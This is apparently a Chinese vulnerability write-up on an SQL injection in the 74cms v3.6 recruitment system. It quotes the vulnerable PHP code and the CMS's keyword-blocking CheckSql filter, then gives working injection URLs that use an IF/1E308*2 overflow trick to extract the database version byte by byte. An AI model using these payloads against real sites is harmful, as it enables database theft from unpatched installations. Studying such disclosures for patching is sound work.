所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
有问题的代码位于`user\company\company_common.php`
<?php define('IN_QISHI', true); require_once(dirname(__FILE__).'/company_common.php'); $smarty->assign('leftmenu',"recruitment"); //获取y_id并赋值给$id $id =!empty($_REQUEST['y_id'])?$_REQUEST['y_id']:showmsg("你没有选择简历!",1); if (is_array($id)) { // 已下载的简历 批量导出为word 先查询简历id $sqlin=implode(",",$id); //以逗号分割内容,并未加单引号做限制,也未进行任何过滤。 $idarr = $db->getall("select resume_id from ".table('company_down_resume')." where did IN ({$sqlin})"); foreach ($idarr as $key=>$value) { $idarr[$key]=$value['resume_id']; } $id=$idarr; } else { $id=array($id); } $sqlin=implode(",",$id); //在这里做了一次过滤,但是已经错过了时机。 if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false; $rsume_sql = "select * from ".table('resume')." where id IN ({$sqlin}) "; $result=$db->getall($rsume_sql);
74cms在进入sql执行之前,还经过一次语句检测。
static function CheckSql($db_string,$querytype='select') { global $QS_pwdhash; $clean = ''; $error=''; $old_pos = 0; $pos = -1; $log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt'; $userIP = getip(); $getUrl =request_url(); $time = date('Y-m-d H:i:s'); if($querytype=='select') { $notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n"); exit("您输入的内容不符合要求请正确输入!"); } } //完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE OR strpos($clean,'$s$$s$')!== FALSE) { $fail = TRUE; if(preg_match("#^create table#i",$clean)) $fail = FALSE; $error="unusual character"; } elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error="comment detect"; } elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } if (!empty($fail)) { fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n"); exit("您输入的内容不符合要求请正确输入!"); } else { return $db_string; } }
这段代码主要是检查语句是否合法,是否有注入的情况。并且着重检测了 **sleep、benchmark、load_file、outfile** ,主要是防止盲注入。 盲注大体分为三种形式: 第一种:根据页面的差异性猜解数据。比较常见的例如二分法猜解 第二种:根据页面的返回时间长短进行判断。 第三种:根据页面的报错内容,进行返回数据。 第一种方法,此方法利用起来有限制,因为如果要利用这个代码。最终会被下方语句检查到,最终返回一个空白页面。不论执行成功还是失败,都会显示空白页面。
if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false;
第二种方法,上方的CheckSql函数已经把第二种方式否决了。 第三种方法,由于程序已经屏蔽了sql语句的错误内容,仅提示如下内容。那么第三种方法也无法利用。
Error:Query error:错误的sql语句
在这里我们需要找寻一个新的方式完成注入。 根据上方的代码,我们的思路如下:当我们的猜解语句为真时,页面返回空白。也就是被下方的`preg_match`截断。如果我们的猜解语句为假时,抛出异常。这里我选用的是 `1E308*2`这个技巧。当值过大时,mysql会抛出异常。 最终构造的sql语句为
select resume_id from qs_company_down_resume where did IN (1,2) or IF( ord(mid(version(),1,1)) = 50 ,1,1E308*2) and (1,2) = (1,2);
当 `ord(mid(version(),1,1)) = 50`执行结果为真时,IF语句会执行到第二个参数,也就是 1, 页面返回空白。当执行结果为假时,IF语句会执行到第三个参数,触发`1E308*2`报错。
在此演示下获取数据库的version
当提交**.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(%20ord(mid(version(),1,1))=48,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2 是页面为空 当提交 **.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(ord(mid(version(),1,1))=49,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2 页面提示如下 Error:Query error:select resume_id from qs_company_down_resume where did IN (2) or IF(ord(mid(version(),1,1))=49,1E308*2,1) and (1,2) = (1,2) 当提交 **.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(ord(mid(version(),1,1))=50,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2 页面再次为空 说明version的第一位的ASCII为 49 ,与之前提到的数据相符。